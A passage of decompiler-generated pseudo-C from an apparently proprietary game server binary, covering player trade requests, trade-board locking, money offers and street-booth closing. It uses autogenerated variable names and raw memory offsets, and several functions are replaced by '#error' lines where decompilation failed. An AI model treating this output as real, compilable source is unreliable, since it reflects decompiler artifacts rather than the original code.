[sp+18h] [bp-4Ch]@12 std::basic_string,std::allocator > token; // [sp+1Ch] [bp-48h]@4 std::basic_string,std::allocator > delim_token; // [sp+38h] [bp-2Ch]@68 unsigned int v38; // [sp+54h] [bp-10h]@76 int v39; // [sp+60h] [bp-4h]@4 v6 = result->_Myfirst; if ( v6 ) { v7 = result->_Mylast; len = result->_Mylast - v6; if ( len ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v6, v7, &result->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)result); operator delete(result->_Myfirst); result->_Myfirst = 0; result->_Mylast = 0; result->_Myend = 0; } } v8 = 0; pos = 0; current_quote = 0; quoted = 0; token._Myres = 15; token._Mysize = 0; token._Bx._Buf[0] = 0; v9 = str; v10 = str->_Mysize; v39 = 0; token_complete = 0; len = v10; if ( v10 > 0 ) { while ( 1 ) { if ( v9->_Mysize <= v8 ) std::_String_base::_Xran(&v9->baseclass_0.___u0.baseclass_0); v11 = v9->_Myres; v12 = (int)&v9->_Bx; if ( v11 < 0x10 ) v13 = v12; else v13 = *(_DWORD *)v12; v14 = *(_BYTE *)(v13 + v8); v15 = esc->_Mysize == 0; _Ch[0] = *(_BYTE *)(v13 + v8); LOBYTE(delimiter) = 0; add_char = 1; escaped = 0; if ( !v15 ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(esc, &add_delimiter, 0, 1u) != -1 ) { ++v8; pos = v8; if ( v8 >= len ) { add_char = 0; } else { if ( str->_Mysize <= v8 ) std::_String_base::_Xran(&str->baseclass_0.___u0.baseclass_0); if ( str->_Myres < 0x10 ) { v14 = *(_BYTE *)(v12 + v8); _Ch[0] = *(_BYTE *)(v12 + v8); add_char = 1; } else { v14 = *(_BYTE *)(*(_DWORD *)v12 + v8); _Ch[0] = *(_BYTE *)(*(_DWORD *)v12 + v8); add_char = 1; } } escaped = 1; } } if ( quote->_Mysize ) { if ( !escaped ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(quote, &add_delimiter, 0, 1u) != -1 ) { if ( !quoted ) { quoted = 1; current_quote = v14; LABEL_29: add_char = 0; goto LABEL_30; } if ( current_quote == v14 ) { quoted = 0; current_quote = 0; goto LABEL_29; } } } } LABEL_30: if ( delimiters->_Mysize ) { if ( !escaped ) { if ( !quoted ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find( delimiters, &add_delimiter, 0, 1u) != -1 ) { if ( token._Mysize ) token_complete = 1; add_char = 0; } } } } v15 = delimiters_preserve->_Mysize == 0; add_delimiter = 0; if ( v15 || escaped || quoted || (escaped = v14, std::basic_string_std::allocator>::find( delimiters_preserve, &escaped, 0, 1u) == -1) ) { if ( add_char == 1 ) { v16 = *(char **)&token._Bx._Buf[0]; v17 = *(char **)&token._Bx._Buf[0]; if ( token._Myres < 0x10 ) v17 = (char *)&token._Bx; v18 = (unsigned int)&v17[token._Mysize]; if ( token._Myres < 0x10 ) v16 = (char *)&token._Bx; if ( v18 ) v19 = v18 - (_DWORD)v16; else v19 = 0; std::basic_string_std::allocator>::insert(&token, v19, 1u, _Ch[0]); } } else { if ( token._Mysize ) token_complete = 1; LOBYTE(delimiter) = v14; add_delimiter = 1; } if ( token_complete == 1 && token._Mysize ) { std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, &token); v20 = *(char **)&token._Bx._Buf[0]; if ( token._Myres < 0x10 ) v20 = (char *)&token._Bx; v21 = (unsigned int)&v20[token._Mysize]; v22 = *(char **)&token._Bx._Buf[0]; if ( token._Myres >= 0x10 ) { v23 = *(char **)&token._Bx._Buf[0]; } else { v22 = (char *)&token._Bx; v23 = (char *)&token._Bx; } if ( v22 ) v24 = v22 - v23; else v24 = 0; if ( v21 ) v25 = v21 - (_DWORD)v22; else v25 = 0; std::basic_string_std::allocator>::erase(&token, v24, v25); v8 = pos; token_complete = 0; } if ( add_delimiter == 1 ) { delim_token._Myres = 15; delim_token._Mysize = 0; delim_token._Bx._Buf[0] = 0; LOBYTE(v39) = 1; std::basic_string_std::allocator>::insert(&delim_token, 0, 1u, delimiter); std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, &delim_token); LOBYTE(v39) = 0; if ( delim_token._Myres >= 0x10 ) operator delete(*(void **)&delim_token._Bx._Buf[0]); delim_token._Myres = 15; delim_token._Mysize = 0; delim_token._Bx._Buf[0] = 0; } ++v8; pos = v8; if ( v8 >= len ) { if ( token._Mysize ) std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, &token); if ( token._Myres >= 0x10 ) operator delete(*(void **)&token._Bx._Buf[0]); break; } v9 = str; } } __security_check_cookie(v38); } //----- (00526400) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this) { return ServerMenuActor::sma_IsReady((ServerMenuActor *)(this + 68324)); } //----- (00526410) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // ebp@1 int v5; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_CloseTradeMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1916))(v1); v3 = v2; v4 = *(_DWORD *)v2; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 796))(v1); (*(void (__thiscall **)(int, _DWORD))(v4 + 32))(v3, *(_WORD *)(v5 + 16)); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1512))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1636))(v1, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); return v1; } //----- (005264E0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 signed int v6; // ebx@1 int v7; // eax@5 unsigned __int16 v8; // ax@7 int v9; // edi@10 __int16 v10; // bx@33 __int16 v11; // bx@33 int v12; // eax@33 int v13; // eax@33 int v14; // ebx@33 int v15; // ebx@33 char *v16; // eax@33 char v17; // al@33 int v18; // eax@34 char *v19; // [sp-8h] [bp-24h]@8 signed int v20; // [sp-8h] [bp-24h]@15 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v22; // [sp+18h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; if ( !(_S4_23 & 1) ) { _S4_23 |= 1u; stru_124F2FB0.cmc_AllowMode = 70; atexit(_E5_71); } if ( (1 << **(_BYTE **)(v5 + 3716)) & stru_124F2FB0.cmc_AllowMode ) { v7 = *(_DWORD *)(v5 + 98); if ( !v7 || !*(_BYTE *)(*(_DWORD *)(v7 + 12) + 156) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1734); goto LABEL_41; } v8 = *(_WORD *)(netcmd + 2); if ( v8 == *(_WORD *)(v5 + 4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v19 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; LABEL_9: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); return; } v9 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v8); if ( !v9 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1212))(v9) != 2 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v19 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; goto LABEL_9; } if ( !ServerMenuActor::sma_IsReady((ServerMenuActor *)(v5 + 68324)) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 2332))(v9) ) goto LABEL_38; if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v9) > 0xF4240 ) { v20 = 1731; LABEL_16: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, v20); LABEL_17: v22 = v6; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !((1 << (*(int (__thiscall **)(int, int))(*(_DWORD *)v9 + 1136))(v9, a2)) & stru_124F2FB0.cmc_AllowMode) ) goto LABEL_19; if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) != -1 || *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) != -1 ) { v6 = -1; } else { v6 = -1; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 2) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) == -1 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1628))(v5) && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v9 + 1628))(v9, 2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 1520))(v5, 2) && (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1520))(v9) ) { v10 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1916))(v9) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 796))(v9) + 16) = v10; v11 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) + 16) = v11; v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1916))(v9); ++*(_WORD *)(v12 + 4); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); ++*(_WORD *)(v13 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1632))(v5); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v9 + 1632))(v9, 2); *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) = *(_WORD *)(netcmd + 2); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 836))(v9); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) = v14; *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v9 + 796))(v9) + 6) = *(_WORD *)(v5 + 4); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 796))(v9) + 8) = v15; v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19458; *((_WORD *)v16 + 1) = *(_WORD *)(v5 + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShinePlayer::sp_NC_TRADE_PROPOSE_REQ : Packet Too Long", 4) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 764))(v9); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v9, &gpp); } v22 = -1; goto LABEL_20; } LABEL_19: (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = v6; LABEL_20: FunctionEntarance::_FunctionEntarance(&_); return; } LABEL_38: v20 = 1736; goto LABEL_16; } } (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); goto LABEL_17; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1729); LABEL_41: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); } // 5264E0: could not find valid save-restore pair for ebp //----- (005269A0) -------------------------------------------------------- #error "5269A0: undefined or illegal type '#325' (funcsize=89)" //----- (00526AF0) -------------------------------------------------------- #error "526AF0: undefined or illegal type '#325' (funcsize=88)" //----- (00526C40) -------------------------------------------------------- #error "526C40: undefined or illegal type '#325' (funcsize=147)" //----- (00526E80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // edi@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S12_28 & 1) ) { _S12_28 |= 1u; stru_124F2FD0.cmc_AllowMode = 126; atexit(_E13_26); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_124F2FD0.cmc_AllowMode ) { v5 = *(void **)((char *)v4 + 68275); ShineObjectClass::ShineObject::so_CloseTradeMenu(v4); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 19, 11); if ( v5 ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v5); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } } //----- (00526FC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this) { void *v1; // esi@1 int v2; // ecx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 68275) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 0; } else { if ( *((_DWORD *)v1 + 17067) < clockwatch.cw_CurrTick ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); *((_DWORD *)v1 + 17067) = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 1; } return result; } //----- (005270C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this) { void *v1; // esi@1 void *v2; // edi@1 void *v3; // eax@2 void *v4; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_tradebreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(void **)((char *)v1 + 68275); if ( v2 ) { v3 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 772))(v3, 19, 12); v4 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); } //----- (00527190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // esi@4 int v4; // eax@4 void *v5; // edi@4 int v6; // edi@5 char *v7; // eax@6 int v8; // esi@6 int v9; // ST08_4@6 int v10; // eax@6 char *v11; // [sp+1Ch] [bp-2Ch]@3 AxialListPacketBroadcast alchat; // [sp+30h] [bp-18h]@6 int v13; // [sp+44h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 22293); v13 = 0; if ( v2 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) == 5 ) { (*(void (**)(void))(**((_DWORD **)v1 + 22293) + 16))(); v3 = **((_DWORD **)v1 + 22293); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1916))(v1); (*(void (__thiscall **)(_DWORD, int))(v3 + 12))(*((_DWORD *)v1 + 22293), v4); **((_BYTE **)v1 + 929) = 1; v5 = (void *)(*(_DWORD *)((char *)v1 + 32010) + 29); if ( *((_BYTE *)v1 + 89071) ) { memcpy(v5, (char *)v1 + 89024, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)v6 = *((_WORD *)v1 + 44534); *(_BYTE *)(v6 + 2) = *((_BYTE *)v1 + 89070); *((_BYTE *)v1 + 89071) = 0; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 26, 5, 2625); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26630; *((_WORD *)v7 + 1) = *((_WORD *)v1 + 2); v8 = *(_DWORD *)((char *)v1 + 32010) + 29; memcpy(v7 + 4, (const void *)v8, 0x2Cu); v8 += 44; *((_WORD *)v7 + 24) = *(_WORD *)v8; v7[50] = *(_BYTE *)(v8 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 51); v9 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v13) = 1; v10 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v10, v9, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1636))(v1, 2); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } else { v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (00527330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_CloseByLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_tradebreak(v1); ShineObjectClass::ShinePlayer::sp_partylogout(v1); ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); } //----- (005273E0) -------------------------------------------------------- void __thiscall AllOfRangeArgument::AllOfRangeArgument(AllOfRangeArgument *this) { this->aora_argument = 0; } //----- (005273F0) -------------------------------------------------------- void __thiscall TradeBoard::tb_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 18) = 0; *(_DWORD *)((char *)v1 + 22) = 0; *(_DWORD *)((char *)v1 + 6) = -1; *(_DWORD *)((char *)v1 + 10) = -1; *(_DWORD *)((char *)v1 + 14) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Clear"); } //----- (00527460) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2) { char result; // al@1 int v3; // eax@2 result = *(_BYTE *)(this + 68279); if ( result ) { v3 = *(_DWORD *)this; *(_BYTE *)(this + 68279) = 0; (*(void (__stdcall **)(signed int, signed int))(v3 + 772))(19, 29); result = (*(int (__stdcall **)(signed int, signed int))(*(_DWORD *)a2 + 772))(19, 30); } return result; } //----- (00527490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 unsigned int v6; // ecx@13 unsigned int v7; // eax@13 char *v8; // edi@15 char v9; // al@15 int v10; // eax@16 char v11; // al@17 int v12; // eax@18 signed int v13; // [sp+0h] [bp-24h]@6 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S4_24 & 1) ) { _S4_24 |= 1u; stru_124F2FD8.cmc_AllowMode = 126; atexit(_E5_72); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_124F2FD8.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } v5 = *(_DWORD *)(v4 + 68275); if ( !v5 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Not activ", 0); v13 = 2114; LABEL_7: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, v13); LABEL_8: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68275)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); goto LABEL_8; } if ( *(_BYTE *)(v4 + 68279) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Locked", *(_BYTE *)(v4 + 68279) == 0); v13 = 2115; goto LABEL_7; } v6 = *(_DWORD *)(netcmd + 6); v7 = *(_DWORD *)(netcmd + 2); if ( __PAIR__(v6, v7) <= *(_QWORD *)(v4 + 32071) ) { *(_DWORD *)(v4 + 68297) = v6; *(_DWORD *)(v4 + 68293) = v7; (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 1912))(v5, v4); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19479; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } *(_WORD *)v8 = 19480; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v12 = (*(int (**)(void))(**(_DWORD **)(v4 + 68275) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, *(_DWORD *)(v4 + 68275), &gpp); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Upboarding too many money", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, 2120); } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00527730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edx@6 int v6; // ecx@6 int v7; // eax@9 signed int v8; // [sp+0h] [bp-1Ch]@6 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_72 & 1) ) { _S6_72 |= 1u; stru_124F2FE0.cmc_AllowMode = 126; atexit(_E7_57); } if ( (1 << **(_BYTE **)(v4 + 3716)) & stru_124F2FE0.cmc_AllowMode ) { if ( !*(_DWORD *)(v4 + 68275) || *(_BYTE *)(v4 + 68279) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ : Not activ or already locked", 0); v5 = *(_DWORD *)v4; v8 = 26; v6 = v4; LABEL_10: (*(void (__thiscall **)(int, signed int, signed int))(v5 + 772))(v6, 19, v8); goto LABEL_11; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68275)) <= 0xF4240 ) { v7 = *(_DWORD *)v4; *(_BYTE *)(v4 + 68279) = 1; (*(void (__thiscall **)(int, signed int, signed int))(v7 + 772))(v4, 19, 27); v6 = *(_DWORD *)(v4 + 68275); v5 = *(_DWORD *)v6; v8 = 28; goto LABEL_10; } ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); } //----- (00527870) -------------------------------------------------------- void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade) { void *v7; // esi@1 unsigned int v8; // edi@1 unsigned int v9; // eax@1 unsigned int v10; // ecx@1 unsigned 